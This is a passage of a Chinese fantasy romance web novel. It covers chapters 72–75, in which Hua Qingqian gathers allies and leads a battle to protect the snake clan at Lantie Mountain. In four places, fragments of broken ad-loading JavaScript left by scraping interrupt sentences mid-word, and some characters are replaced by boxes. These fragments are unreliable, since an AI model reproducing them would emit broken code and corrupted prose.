“这是昆仑法术,传口信的,内容只有收信之人听得见。”吕浮白适时说道。 闻言,花清浅才撤下窗边结界,叫柳枝鸟儿飞进来。鸟儿翩然落在她手心,小嘴一张一合,发出秋照的声音:“清浅你太神了!你简直比月老还厉害,周先生现在是我的人了,真多亏了你……” 花清浅弯唇一笑,并不急着回信,给鸟儿喂了点灵气,让它自行飞到房梁上歇着。 一旁的玉京子只能听到鸟叫,却半点也不懂鸟语,急得抓耳挠腮,一个劲地问秋照说了什么。 “秋照将军得偿所愿,欠下我一个人情罢了。”花清浅没有多说,打发他去楼下拿昆仑特产的美酒。 - 配着奶白鱼汤、细米膏饭,晚上玉京子多喝了几盅,睡得鼾声四起,好在被卧室内的结界牢牢罩住,并不会吵到他人。 一片静谧的夜色里,花清浅所在的楼层悄无声息地燃起灯,吕浮白似有所觉,动身来到她窗外,见她正把兰铁山舆图摊开在桌上,灵力加持下明亮的灯光照亮图中山壑,也照亮她微微眨动的浓长眼睫,在那双水眸中投下两扇阴影。 “你来啦。” 看到悬停在窗边的修长身影,花清浅并不感到意外:昆仑楼中的结界,对大明王世子这样修为的上神本就形同虚设,他又向来警醒,不可能察觉不到她的动静。 吕浮白点点头,从窗口进到屋内,瞥了眼桌上的舆图:“你还是放心不下蛇族。” “……那毕竟是七百蛇蛋呢。”花清浅眉间聚拢,“就算穷途末路,也要搏一搏才行。” 她从来都是这般拼尽全力、不肯服输的性子,他就知道,白日里那番放弃都是装的。 吕浮白垂眸,唇边掩去一丝激赏,听她继续梳理思路: “开小混沌戒的事先放一放,先救蛇族,此事未必是个死局。我研究了一下兰铁山,这山中通道蜿蜒扭曲,山体又坚硬,只要善用地形优势,一个人站在关键道口,能当十个人用。” “不过,就算再精心排兵布阵,一个人也变不成一百个,蛇族的兵力紧缺还是关键。”花清浅指尖在舆图上轻点一下,让图纸垂直着立起来,被灯光照得更清楚,在上边勾画出要塞标记: “对付小魔王眼下的五千精兵,各处把守、报信,至少需要三千人。蛇族一千,秋照如今欠了我的人情,大约能借我两千鸟族,勉强够了,但要对付后备的那两万魔族援军,却是远远不足。” 吕浮白听着听着,意识到什么,沉声道:“清浅,这时候了,你还不想跟仙族借兵?” “此前单方寸背离仙界,那边怕是不会出兵。”花清浅知道他要说什么,坚决摇了摇头,“禀明凤凰神君,自能解决这个问题,可单方寸明显不想被他帮,我也不想劳烦他。” 吕浮白有些自嘲地一笑。 “不想劳烦神君,却能劳烦苍御峻么?” “你猜到啦?也是,眼下确实属他最好用嘛。”花清浅也不否认,收起舆图说道。 “用西陆人马,还不如用孔雀族——” “如今战乱四起,大明王那边难道能高枕无忧,兵力给了我们,青逸山怎么办?”花清浅安抚地看他一眼,解释道: “不是我非要求助妖尊,西陆可以出兵,是因为十二海天堑环绕,魔族攻不进去,没有后顾之忧。” 吕浮白抿着唇沉默。 “我晓得你不愿我同苍御峻有交集,我也不想,但此事关乎蛇族存亡,除他之外,没有办法了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”花清浅耐下性子哄道。 这话不对,办法其实是有的,他们都心知肚明。 只是那个最简单、最省事的办法,她不屑去用,那个一见到她什么都能答应的神君,她抵触去见。 她就这么厌恶傅玄,甚至胜过了苍御峻。 他心中冷寂一片,闭上了眼。 花清浅哄了他好久,哄到口干舌燥,见他还是不能理解,也有些无奈,提起桌上茶壶,倒了杯水,准备润润嗓子。 正要喝时,却被他拿过茶杯,手心起焰,将一杯冷水暖成温的,才递到她的嘴边。 “都要入夏了,哪用这么费事。”她嘴上说着,心里却很受用,一把抱住他伸出的手臂,“你不生气啦?” 生气,可他现在哪有生气的资格。 吕浮白沉默片刻,擦去她嘴角水渍,淡淡道:“你半夜点灯,想了这么多,待会还睡得着么。” 花清浅很有自知之明地摇摇头。 身着黑衣的大明王世子一挥袍袖,将一副软枕递到她怀里。 软枕表面罩着一层乳白色仙缎绸布,找不到针脚,入手柔滑,花清浅下意识抱住,只觉这只枕头抱在怀里一丝重量也无,十指深陷进去,像是陷入九重天上的云絮。 “这是你羽毛做成的枕头?手艺不错呀。”她很快反应过来,“不对,你这些日子都跟我们在一处,我没见过你做枕头啊,你什么时候偷偷做的?” “总有时间的。” 他语气中似乎不是单纯的得意,花清浅一怔,抬头,对上他清冷的眸子。 那双如万年古井般的眼瞳含着种种未能言明的情愫,深沉而复杂,总是显得那样痛苦。 她忽然有些好奇。 不算沉睡的那一千年,吕浮白年纪轻轻,心里藏了什么事,能压抑成这样? 正要开口问他,却被他就着揽住肩膀的姿势带进怀里,轻轻拍了两下她的后背。 “不要担心,清浅。”他温声说,“有我在,蛇族不会有事的。” 花清浅就这样被他引开注意,揪着羽毛枕的边角,乖乖地应了一声好。 或许是因为这副孔雀羽毛做的枕头,或许是因为他这番话,花清浅回房后居然很快就睡着了。 梦里有一只羽毛绚丽的威风鸟儿守在她身边,风雨不动,她抱着鸟儿漂亮的尾羽,心神大定,睡得比从前在蛇谷还要香。 - 翌日一早,花清浅准备先吃早点,再去找苍御峻,却不想在喝到第二口鱼粥的时候,西陆妖尊就主动找上了门来。 “清浅,蛇王单方寸来找过我了。”他抓紧时机开口,“我已经做好了决定,愿意出兵五万,只要——” 花清浅挑眉看他。 “——只要你愿意,将西谷的那些灵石给我。”他摆出一副公事公办的神色,“单方寸说,蛇谷成色略好的灵石都在你手里,至少有五百颗。” 他葫芦里卖的什么药,花清浅有点没明白:“啊?” “我想通了,你不愿做西陆的尊后,我也不再逼你,我们单纯谈生意。”苍御峻不敢看她,声音染上一丝不易察觉的颤抖,“行不行,清浅?” 73. 第73章 听了这番话,玉京子半信半疑地眯起眼,而花清浅也第一次认真打量起眼前的西陆妖尊。 他好像的确是放下了执念,句句与她谈公事,提出的条件也很巧妙,不是最为珍贵的聚灵石,而只是储存灵气的灵石。 西谷最不缺的就是石头,别说五百,五千她也拿得出来,这根本是稳赚不赔的买卖——再说了,灵石本就产自蛇谷,本就应当拿来救蛇族的急。 “五百灵石太少,我给你六千,这是从前蛇谷全部的库存。”她大方道,“多谢尊上仗义相助。” 红衣妖尊猛地抬起头,几乎忍不住想问,她这样是不是不想看到他吃亏? 是不是说明,她心里还有那么一小块的位置留给了他。 “——不用说谢。”最终,他硬生生忍下这句问话,胸口微微起伏了几下,稳住声音说道:“你我也算朋友,我怎么忍心见死不救。” 跟一位喜怒不定的妖尊做朋友,肯定比做他的尊后强些,但花清浅并没有应声,只加快速度喝粥,顺便一道灵力喂给柳枝小鸟,小鸟从房檐飞下来,叼着碗泡进水池子里。 “走吧。”她漱过口,拍了拍手说道,“去单方寸那,我们好好商量一下,这场仗怎么打。” 四人下了楼,玉京子声称要跟自己的救命恩人好好道谢,拽着苍御峻走在前面,还费力隔出了一道结界,不让后面的人听到他们的谈话。 “你是不是真的放弃追回清浅了?”他鼓起勇气朝身边的妖尊发问,“别是假装的吧?” 苍御峻冷冷瞥他一眼:“本座假装忘情,可能得到什么好处么?” “也是,现在清浅和吕浮白两情相悦,就算你成日在她眼皮底下晃荡,她也不会多看你一眼。”玉京子摸着下巴,认真分析: “她这几日频频落你的面子,之前还把你丢在青逸山外等死,很明显不会再喜欢你,你也是该及时止损——” 他越这么分析,越觉得有道理,没注意到这位妖尊脸色越来越苍白。 明知道她已经和别人两情相悦,自己没有丝毫可能,再强求也是徒增伤痕,聪明人都该及时放弃,早愈情伤。 可苍御峻不是聪明人。 遇见花清浅,他是天底下最愚笨、最执迷,最不吃教训,被抛弃一万次,都可以再起身追她一万零一次的,顽心不改的人。 - 两人话没说几句,忽然从后方响起一道凉凉的声音:“玉京子。” “啊?”玉京子转头,看到花清浅和吕浮白就在身后咫尺之距,不由大惊:“我明明设了结界,你们是怎么穿过来的?” 花清浅抓住他的手腕,在空中画出结界的正确收尾手诀: “纠正过你多少次,这里是一个圆圈,要把灵力封住口,你老是画成一道直线,能封住个鬼的结界!” “……”最近在昆仑新鲜事物太多,他疏于修炼,当下确实有些理亏。 花清浅看向妖尊,说道:“玉京子这厮说话一向不过脑子,如有冒犯,我替他向尊上赔罪。” 她听见了刚才那番话,苍御峻清楚,此刻只有一装到底。 他于是冲她漫不经心地一点头,脚下加快了步子,精心打理过的绯红衣摆垂在地上,拖曳出气势凌厉的轨迹。 缀着华贵猩红宝钻的衣领高高竖起,鬓发散落,旁人完全看不到他发颤的喉结,以及濒临崩溃的眼睛。 早前花清浅通过柳枝小鸟给秋照传了信,故而她与周霖鹤也在单方寸住处。 几人快速商定了借兵之事,西陆向来好战,陈兵海边的人头足有数十万,但苍御峻随行只带了几百,大军只能后面调动。 “再训练有素的大军,组织行进到兰铁山也需要十日。”秋照在桌上摊开舆图,对花清浅标注的几个要地频频点头,又上手改了几处,说道: “要坚守十日,三千人是不够的,我多借你一千,附送三千套鸟族盔甲。” 花清浅和单方寸自然道谢。 局势紧急,几人这就出发,花清浅擅长阵法,当即用聚灵石开辟出一个千人大阵,先把单方寸和昆仑援军送过去。 轮到下一批的时候,玉京子像是察觉到什么,率先跳进阵里,她面色如常启动了阵法,却在下一刻对秋照说道:“他被我送回了昆仑主峰楼内,就拜托你照顾了。” “其实你也不用亲自去。”秋照眼带不忍,偏过头看她,“或者我给凤凰神君传个信,求他去兰铁山看看,他肯定顾念往日情分,会出手的。” 花清浅坚决摇头:“蛇族是我的责任,怎么能连累他?”连累一个孔雀世子,她就已经很过意不去了,更别说如今毫无干系的傅玄。 像是听到了她未说出口的话,吕浮白深深看她一眼,同她一起站进阵内。 闲言再不多叙,她同秋照颔首道别,提起灵力注入聚灵石,繁复花纹亮起,阵法最后一次启动。 周围景色飞速变幻,吕浮白向她倾身,护住她因灵力消耗过大而不住颤抖的身体,宽大黑袍像是翅膀一般环抱着她肩膀。 他垂下头来,眷恋地轻吻着她的碎发,神力汹涌,是鸟族赐予伴侣理所应当的守护与亲密。 恍惚之中,她好像听到他在耳边说了什么。 可是等到了兰铁山后,她一面恢复吐息,一面问他说了什么,他又不肯说了。 “别卖关子呀。”她推了他一下,“这可是大敌当前,我会一直惦记这事,神思不属,万一有个不测——” 吕浮白无奈看她一眼,终于重新开口:“我只是说,你肯让我陪你这一遭,我很高兴。” 花清浅一愣。 听他这么郑重其事地说起,她才后知后觉反应过来,自己如此自然叫他陪着回到蛇族,究竟意味着什么。 ——她依赖他。 而除了傅玄以外,对东方容楚、对苍御峻,甚至对赵刑西,她都没有依赖到这个地步。 “等等,我得冷静一下。”她喃喃自语,吕浮白以为吓到了她,抿着唇后退几步,却听她继续说道:“我能亲你吗?” 连呼吸声都静止在风里,他只来得及点头,笑意刚达眼底,就被她蝴蝶点花般挨蹭了一下唇瓣。 两人唇角相触的瞬间,留在此地接应的苍御峻正好转过身。 沉默温柔的上神,与美艳窈窕的蛇妖挨得那么近,画面十足和谐,和谐得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 让他赭黄色的眼睛泛起赤红,险些滴血。 那是他的尊后。 那原本该是她的尊后。 他迟疑地眨了眨眼,有些怀疑她是故意让自己看见这一幕,好让他死心,但想一想,又觉得她不会这么残忍。 她连死都不忍让他死,又怎么会舍得让他受此等凌迟。 到底记着这里是兰铁山下,魔族环伺的地方,花清浅还保留着几分理智,与吕浮白一触即分。 “好的,冷静了。”她侧身贴近他胸口,听到同时狂跳的两颗心,自顾自觉得扳回一局。 就在此时,旁边草叶发出簌簌微响,她以为有魔族,一个激灵望过去,只见红衣妖尊正立在原地,静静地望着这边。 她不由有些尴尬,吕浮白却像是没注意到他,又像是注意到了,但并没有放在眼里。 苍御峻硬生生开了口:“吕世子,清浅,山间关坳已清理干净,可以上山了。” “多谢尊上。”花清浅忙向前一步,冲他笑了笑,拉着吕浮白朝山里走去。 明明只是一个轻浅的吻,身后的孔雀世子却像是得到了天大的餍足,得意到神力外泄,山道旁的草木都生得更繁盛了些。 花清浅注意到这些草木异状,忍不住想笑:这才哪到哪,就让他堂堂一尊上神高兴成这样,到了以后成亲、生蛋,他还不得昏过去? 这种被人珍而重之的感觉实在不错,故她并不阻止他挥霍神力,只有些享受地眯起眼。 - 到了山中,单方寸将一座离蛇王最近的洞府分给了花清浅。 蛇王要树立威信,表彰有功之人是其中的一环。花清浅没有拒绝,当晚就住了进去。 洞府内十分宽敞舒适,石壁上镶嵌着各色水晶石,瓜果飘香,像极了从前西谷的山洞。 花清浅盯着从旁倾泻的天光,想起方才众目睽睽之下,单方寸将这座洞府赐给她的那一刻,周围蛇族的目光纯然羡慕,没有丝毫恶意,简直叫她有些陌生。 “我从前是蛇族的少君,获封西谷,你知道吧。”感觉到苍御峻从后面抱上来,她整个人往后一瘫,回忆道: “西谷挺大的,灵气也多,很多小蛇攀附不上丹家、竹家,就会来我们西谷混一口饭吃。我和玉京子觉得他们可怜,从不赶他们走,也不要他们纳贡,还每年都分给他们灵石。但那天——” 说到这里,她声音颤了一下,于是吕浮白知道,她说的是少主重选前夕,玉京子死的那一天。 “——那天前蛇□□虺偷袭,碰上了我设的结界,那种结界是傅玄教我的,原本他不知道怎么解,是那些小蛇告诉了他解法。” “后来我找到那些小蛇,问他们,为什么要背叛。” 耳畔仿佛重新响起那些蛇凄厉的尖叫声,花清浅忍住吐信子的冲动,语调仍带了嘶嘶的恨意:“他们说,我得到的太多了,我和玉京子不死,他们怎么独占西谷。” 吕浮白看清她眸中怒火,恍然明白:“刚才迎接你的蛇族里,就有当年背叛过你的蛇?” “是啊。”花清浅沉默良久,最终冷笑一声:“他们应该庆幸还活着,因为傅玄不许我杀生。” 74. 第74章 吕浮白轻轻道:“假死之后,你还是这么听他的话么?” 花清浅一愣,思绪从那些蛇族扭曲的面容中抽离:“你是说傅玄?” 她看不见他的表情,拿捏不准他是不是吃醋,语气谨慎起来:“我也没那么听话,但我捉拿那些蛇族的术法是他教的啊。我总不能拿他教给我的东西做坏事,这不是连累他损阴德么!” “……” “但现在,我自己钻研术法多了,也不必固守着这些规矩。”她转过身,拍了拍吕浮白的脊背,含笑道,“总之你放心,不该吃的亏,我一个都不会吃下。” - 七仔垂着头立在蛇王案前,只等那位新来的花少君入场,安排兰铁山的守卫事宜。 他本是眼镜王蛇族的左参将,数十年前眼镜蛇族兴起兵戈,大战不敌时主上先逃了,留他在死阵内苟延残喘,是单方寸率领蛇族路过,捡了他一条命。 故而他对单方寸忠心耿耿,此前单方寸遁走寻找援兵,也是他在山中主持事宜,没有叫蛇族民心散掉。 “我盘算了一下,整个山中蛇族,也就只有你能同清浅一同领兵了。”单方寸抓挠着粗壮的颈子,愁眉苦脸地承认。 听到这话,七仔咬了咬唇侧,很有些欲言又止:就眼下蛇族这一千雄蛇,哪能称得上是兵? 从前他在眼镜蛇族,部众军法严明,让用毒液射死三个敌军,倒下的数目绝对不多不少。 至于眼下…… 在猎物富足的山中呆了这么多年,加之常跟手无缚鸡之力的凡人打交道,这些安逸蛇众早就不习惯动用灵力了,更遑论上阵对敌。 近年七仔曾数次操练蛇族部众,效果都不太理想,因为单方寸外表虽看着粗猛,内里却是个软和团子,看不得部下受苦,也施不得重手狠罚。 亏得蛇族人数不多,管起来甚是方便,没有什么奸佞权臣滋生的土壤,否则这么一个宽和过分的主上,早被和着骨头吃干净了。 至于眼下他这副一切仰赖花清浅的模样,则更是叫七仔无语。 他不关心天界绯闻,对花清浅的印象全来自单方寸转述,以及方才众人前的匆匆一面。 一个朋友遍天下的美貌蛇妖,搬来援兵或可堪用,再幸运一点,或许真能从这次危机中保住蛇族。 但今后呢? 魔族猖獗势头不减,难保之后不会再犯。这位花清浅的人缘,能保住蛇族一时,却难能保住一世,不把蛇族本族的兵力练起来,什么都是白费! 七仔心中全是这些焦心计较,但同时也知道,单方寸此刻断听不下这些。只好先软声安慰他蛇族这次得以保存,不必太过担忧云云。 过了片刻,花清浅还没到,西陆妖尊倒先到了。 他大踏步走到王座近前坐下,虚虚看了七仔一眼,向单方寸毫不客气地道:“本座把你手下的蛇都撤了,岗哨上全换成昆仑将士,还有本座带的人马。” 单方寸下意识应道:“多谢尊上!” “不用谢,要是你们蛇族争气些,哪用得着费这些功夫。” 被他这么一刺,单方寸竟有些怯意,眨了眨眼,坐回王座上。七仔看不得主上如此气短,正要争辩几句,就听门外传来一声: “西陆尊上说得不错!” 苍御峻气势顿时为之一灭。 “本座不是那个意思,清浅——” 七仔抬眼,见到门口走出一人,正是花清浅。 她身后还跟着大明王世子,两人俱已换了衣裳,花清浅一袭白衣劲装,袖口收窄,腰腿处被勒得更细,显出些许与妩媚截然不同的利索。 “就是那个意思又如何,我又不怪你。”花清浅一摆手,“刚才我看了岗哨上那些蛇,有偷偷喝酒的、摸蛋烤鸟的,还有干脆就地睡觉的。这种人要是在西陆军里,第一个就被我治死了。” 单方寸大吃一惊:“清浅你还会治军?” “谈不上治军,会治人而已。” 说起来,这治人之术也是跟傅玄学的,当初学的时候没什么感觉,之后回想起来,才发觉他从一开始就在把她当一方王者培养。 将画满标识的舆图在桌面展开,花清浅并没有长篇大论地回忆往昔,指尖在舆图边角轻轻一点,图上沟壑自起,很快形成一个微缩的精致沙盘。 这是她从昆仑族学来的术法,可以将兰铁山周边地形、据点标注得更为清晰,己方兵力用白气,敌方魔军用黑气展现,只见山下黑气翻涌,已成围攻之势。 “这、这就已经开打了么?!”灵力驱使之下,沙盘是动态的,眼见己方兵力已经与黑气开始纠缠,单方寸又是大吃了一惊。 “之前能拖那么久,是因为小魔王低估了蛇族,以为你们尽是些贪生怕死之辈,迟早会臣服于他。”花清浅耐心解释: “他没想到,你终究是个有种的,敢去外边搬援兵也要相抗。刚才咱们打通了上山的小道,搬了这么多兵,傻子也看出来你们不会乖乖投降了,此时不攻,更待何时?” 单方寸看着沙盘中焦灼的战况,终于一咬牙:“那就打!也不能光让外族盟友在前,七仔,取我盔甲来,我亲自领着咱们族人上场!” “你且等等。”在苍御峻发出嗤笑的同时,花清浅再次劝道,“大多蛇族连只老鼠也咬不住,这样上前线,岂不是白白给魔族送死?眼下蛇族要务,不是厮打,而是短时间内练出兵来。” 七仔眼中闪过一道明亮的光芒。 花清浅的计划,跟他之前的想法所差无几,不过她的话语权比他大得多,练兵之法想必可以推行下去。 “从即刻起,昆仑鸟族拨一百只出来,以一对十训练蛇族。”花清浅说: “不要生搬硬套昆仑法,蛇族善机巧、善毒杀,却不善飞,如何将鸟族的俯冲作战,变成拥缠而上、一击毙命,我写了一套章程,你把它教下去。” 她说着将两页帛书交到七仔手里,后者心中松了口气:若她亲自教习,蛇军难免沾染上她的个人色彩,难保对蛇王忠心,如今她肯放权,再好不过。 他翻开帛书,只见内页用清秀字迹写着纪律口诀,并有动态的飞身诱敌、变阵缠身等图样,详略得当,在当下简直千金难求。 但就是这纸张颜色吧……隐隐泛着一股红粉,煽情得很,不像兵书,倒像是婚书。 没等 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他发出疑问,花清浅紧接着补充道:“还有一点,山里还有逃难的千余凡人,为什么不用?把他们一起带着训练,发下盔甲和兵刃,虽没有灵力,他们未必就比咱们蛇族差了。” 也有道理,如此非常时刻,能多一个人头是一个。七仔看了眼单方寸,见他没有反对,便也不多话,直接出去召集民众。 前方有昆仑将士挡着,如果不出意外,蛇族很快可以进行轮换。 花清浅于是把目光投向后山,顺手拈了枚梅子送进嘴里。 却不想单方寸案上的果子没撒糖,她被酸得一个激灵,眼眉皱起,苍御峻反应飞快,抄起桌上茶壶要为她倒茶,却见吕浮白动作比他更快一步,早递过茶水让她漱了口。 “七百蛇蛋,还有千余雌蛇,都在后山小宝峰洞口?”花清浅没有注意到苍御峻两人的暗潮涌动,只向单方寸确认道,“你在那处设了多少防卫?” “结界足有十三道,除此之外,洞里还有个传送阵,如果实在抵御不住敌军,叫他们摸到了洞口,雌蛇还能带着蛇蛋逃跑。” 他这后手还挺成熟,是做好了视死如归、却也留存生气的准备,花清浅颇有些诧异:“也难为你能想到这些。那传送阵是通往哪里的?” “这招不是我想的,是七仔想的。”单方寸嘿嘿一笑,“通往咱们以前的蛇谷。” 花清浅脸色登时沉了下去。 单方寸不明所以,还是一直没说话的吕浮白淡淡道:“你族离开仙界,仙界自然会收回从前的蛇谷,岂是你一个传送阵法能送进去人的。” 那条眼镜蛇不熟悉仙界规则,难道单方寸还不熟悉么,怎么能出这样大的纰漏! 花清浅被气得说不出话,过了半晌才勉强压下火气,重重摇头:“那传送阵就是个废阵,此事万万不可叫人知道,先稳固蛇心,叫那些雌蛇好好孵蛋吧。” “何必动怒呢?”苍御峻倒是不紧张,仍旧气定神闲道:“清浅,咱们去给那传送阵改两笔,改到西陆不就行了。” “具体改到西陆何处?” “这个,不若我们单独商量。”苍御峻环视一圈周围,小心对她说道。 此处单方寸是蛇王,吕浮白是孔雀族世子,对于西陆来讲,确实都是非我族类,不好泄露地理机巧。 花清浅安抚地看了眼吕浮白,点点头:“好,我随你出去说。” 目送她与苍御峻的身影消失在门后,随即被坚实结界隐没,相比于单方寸满脸灰败,吕浮白面上要克制得多。 单方寸还嘟囔着那妖尊看花清浅眼神不对,一看就是图谋不轨,他却并不说话,神色平静,仿佛真是一副大度淡然的模样。 只有敛目遮住的眸光,昭示着他内心酸涩,已经快要发狂。 他知道花清浅与妖尊没什么,两人单独说话,是为了正事,他被抛在一边是应该的,合理的。 可他就是难过。 锥心之痛反复灼烧,之前未曾好过的残羽伤痕层层崩裂,反复一遍遍地嘲讽,那些羽毛做了枕头送她又怎样,关键时刻她仍不肯信他。 她信的是苍御峻,不是傅玄,从五十年前,她就再也不会信他。 75. 第75章 他蓦地想起更多、更久的事来,记忆里花清浅一颦一笑无限放大,比水月镜中还要清晰。 譬如那个午后,云廷玉城突发恶兽袭击,圣女前来求凤凰神君相助,两人议论机密,众鸟张翼成结界,花清浅看着他们,乖巧退远,那时她在想什么,心里是否也像他如今这般难受? 单方寸自顾自控诉了一番妖尊,没听到吕浮白附和,颇有些不甘心地强调:“世子殿下,我说真的,清浅与那西陆妖尊虽然不亲厚,但看着纠葛甚多,你可得防着他点。” 纠葛甚多。 她明明该是跟另一个人纠葛最多的,可那个人明白得太晚,已经叫她不想要了。 “清浅与他没什么纠葛。”不愿再想下去,吕浮白缓了缓,艰涩出声,“这种话,以后不要再说。” 他语气不算激烈,却比那日在昆仑门外的妖尊严肃百倍,单方寸后背寒毛竖起,仿若被人捏住七寸,过了好久才终于找回声音,颤巍巍应了声是。 过了半日,战局始终稳定,黑气并没能往山中推进一步,吕浮白见状再忍不下去,嘱咐单方寸盯着沙盘,自己往花清浅两人的方向寻了过去。 另一边,花清浅和苍御峻其实也没走多远,有结界在,走得再远也是多此一举。 也亏得吕浮白神力深厚,他穿过结界时,苍御峻仍是浑然不觉,嘴里说道:“……总之,西陆空旷之地很多,你想把蛇族安排在哪里,就安排在哪里。” “那就月落海边上罢,让灰背山雀一族负责接应,不会出差错。” 花清浅说着,就要返回屋内,却听他急忙反驳道:“不能是灰背山雀!” “为何不能?” ——因为你曾征召两只灰背山雀侍寝,本座恨不得将整族屠戮殆尽,只是碍于你的面子才没有动手。你又起用此族做事,岂不是打本座的脸? “望湘最近事忙,换成别人吧。”他喉咙动了动,假装若无其事地道。 花清浅失去了耐心:“那就请尊上指派个肯尽心的,七百蛇蛋,转移起来不容易呢。” 说罢,她便向屋内走去,不料又被苍御峻拽住了袖口。她疑惑转身:“又怎么了?” “没什么,只是,只是本座才刚刚知道,那孔雀世子原来是凤凰神君的后辈,算是近亲。”听得出来,苍御峻这话是临时起意,语气飘忽不定,似乎只是闲来一笔: “你之前被凤凰神君屡次伤心,才不顾一切想要从他身边逃开,但跟吕浮白在一起,又免不了跟神君有关系,这是何苦?” 他居然如此真心替她着想,没什么吃醋的表现,像是真的放下了过往。 花清浅愣了愣,眯起眼一笑,也就错过了他紧咬的牙根:“多谢尊上关怀,不过那傅玄又不是洪水猛兽,我与吕浮白碰上便碰上了,把话说开也没什么。” 她就这么喜欢吕浮白,喜欢到即使会碰上傅玄,也要坚持跟他在一起? 苍御峻的脸色一下子变得惨白,被他强行压了下去,勉强挤出一个笑,状似不经意地道: “本座没有别的意思,可你仔细想想,那凤凰神君像是会放手的人么?万一鸟族因此大乱,那群尖嘴给你扣帽子可不会嘴软。” 他话说得过快,连自己这只鸟族也骂了进去。花清浅好笑地摇了摇头,说道:“傅玄不是那样的人。” “你的眼光一向不好。”苍御峻忍不住低声喃喃,“清浅,别忘了,在西陆遇上我的时候,你也是想跟我过一辈子的。” 他骂起自己倒是坦坦荡荡,花清浅一噎,过了片刻才道:“不谈风月,傅玄的确是顶顶好的一个神仙,这与我眼光好坏无关,天下人都这么说。” 傅玄绝不会强取后辈妻子,这点信心她还是有的。 “好了,眼下战局急迫,尊上还是少注意我的私事。”见苍御峻仍要张嘴反驳,她及时抬手阻住:“傅玄是鸟族共祖,方才你对他所言已算得上诋毁了,再说下去,天雷都要来劈你。” 什么天雷,她就是听不下去凤凰神君的一点坏话,搬出大义堵他的嘴而已! 苍御峻简直更委屈了,都是伤了她的心,为何她对凤凰神君就回护至此,对他则没个好脸色? - 花清浅没敢耽搁多久,很快回到了屋内,趁着吕浮白和单方寸都在,立刻一起动身前往后山山洞。 大多雌蛇都不认识花清浅,一面护着蛇蛋,一面默不作声看她动作。花清浅任由单方寸跟众蛇吹嘘她如何“大显神通”、“力挽狂澜”,并不搭话,动作飞快地改好了传送阵。 最后加固外围结界时,一条细弱的小蛇游移到她身边,两只眼睛眨巴眨巴,像是有话要说,又不知从何说起的样子。 “什么事?”花清浅将结界封口,等灵光渐息,才看向那条小蛇。 小蛇捉住她的袖口,细声说道:“花少君,我这里有几条青瓜,很甜很脆的,跟从前的陨雾浆果没有区别,你……你要不要拿去?” “你认识我?” 小蛇绞着尾巴,认真点点头:“蛇谷大旱的时候,少君曾变出水来给我喝,多亏了少君,我才没有渴死。” 大旱那一年,她救过的蛇不少,大多都不记得名字了,只记得一个丹梁。那时丹梁跟她关系最好,喝到的水也最多——只是后来,她们的关系又急转直下了。 “我已不是蛇谷少君,以后不必再这么叫我。”花清浅回过神来说道,但见她坚持,还是收下了她给的十几条青瓜。 从后山出来,天上已经开始落雨,好在气候正在春夏之交,并不寒凉。 几人走在湿滑山道上,掐了手诀避雨,花清浅并没有问起丹家下落,而是看了眼动态沙盘,万里台处的黑气正凝聚出一个墨蒺藜,向四方分散,将昆仑白方侵蚀出一个个豁口。 这是提灯在施展分身术,看来小魔王有两把刷子,趁着雨天鸟族翅膀沾水,飞翔不便,开始正儿八经地出击了。 可花清浅精通的也是水系术法,如今天降雨丝,等同于满场都是天然的兵刃,在雨天干架,她也未必会输。 雨越下越大,她没有犹豫,很快决定:“单方寸,你留守山中,吕浮白掩护我去万里台,咱们干一票大的。”——退一万步讲,就算她打不过,吕浮白的神光 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又不分雨天晴天,照样能轰死他。 “清浅,你别冲动啊!”沙盘里己方白气兵损,单方寸也看到了,他以为她是心疼昆仑将士,急慌慌开口道:“万里台易守难攻,只要缩回台上,竖起结界,不主动出击,昆仑兵马不会有大碍的!” “只有主动出击,才能打疼提灯那等跋扈魔族!”花清浅不想多说,拉了下吕浮白就要走。 旁边苍御峻眼疾手快上前一步,道:“本座同你们一起过去。” 花清浅自然没有理由拒绝。 三人当下腾空而起,到了万里台,只见台下果真一片混乱。 提灯本体和两个分身正持大斧左右砍劈,昆仑盔甲防普通魔族有效,对上他的大斧却只能挨得片刻,所幸因为阵□□换有序、伤员救助及时,暂时没人丧命,只是军心眼见变得焦灼起来。 灵光与魔气纠缠飞舞中,花清浅和吕浮白从结界内一跃而下,缠住提灯两个分身,掩护昆仑族转移伤兵,苍御峻则化为原形,飞上高空,只等提灯本体露出破绽,便俯冲而下啄死他。 提灯分身术青涩得很,几乎在交手的一瞬间,吕浮白就知道,这位小魔头今日必能交代在这里。 他放出神光,逼退提灯分身的大斧,回身推出一掌,击在一个魔军下腹,其魔立刻化为黑烟消散,连尸体都没有留下。提灯分身见状,转身想跑,却被一股神力隔空扯住身形,被迫踉跄退回原地。 吕浮白一面平静了结手下分身的性命,一面分出注意力,看到花清浅正与提灯另一分身缠斗。 那双斧头对她来说还是过大了,每次破空朝她劈来,她都只能掐诀抵挡,来不及凝雨成针,不过她体术也不差,纤巧的身子在空中辗转腾挪,时不时借力飞踢,也不至于落到下风。 过了大约百招,她使了个巧劲,将提灯分身绊倒在地,趁着他挣扎的空档掐诀凝雨,一刹那间,万根水针从他天灵盖上直插而入! 没来得及发出一声哀嚎,那分身便动弹不得,周围的黑气飞速消散。 这是第一日开打,好容易练出的两个分身就这么没了!被苍御峻纠缠住的提灯心有感应,仰天怒吼一声,浑身魔气暴涨数倍,抡巨斧向面前的鹞鹰砍去—— 提灯本体和分身可不是一个战斗力,眼下又是怒气上头,苍御峻勉力抵挡,却仍被巨大的冲力砸到地上,急滚一圈才没有被剁成肉泥。 妖尊随行侍卫立刻跳出来,纷纷拿法器护住妖尊,并劝他回防。苍御峻从没有在战场上先撤过,咬着牙继续接战,拼着被巨斧魔气侵体,也要将金钩般的鹰爪送进提灯的脖颈。 提灯被他砍中,眼见气若游丝,却捂着破碎的喉管“嗬嗬”笑了起来,花清浅听到动静回望,这才看见苍御峻的胸膛也破出一个大口子——是提灯巨斧的魔气所致。 疼痛尖锐地泛上来,苍御峻瞪着自己血流不止的胸口,不过几息,意识便已经涣散。 一时之间,他忘了后方侍卫惊恐扶住他的手,忘了身处战场,忘了他已经没有尊后。 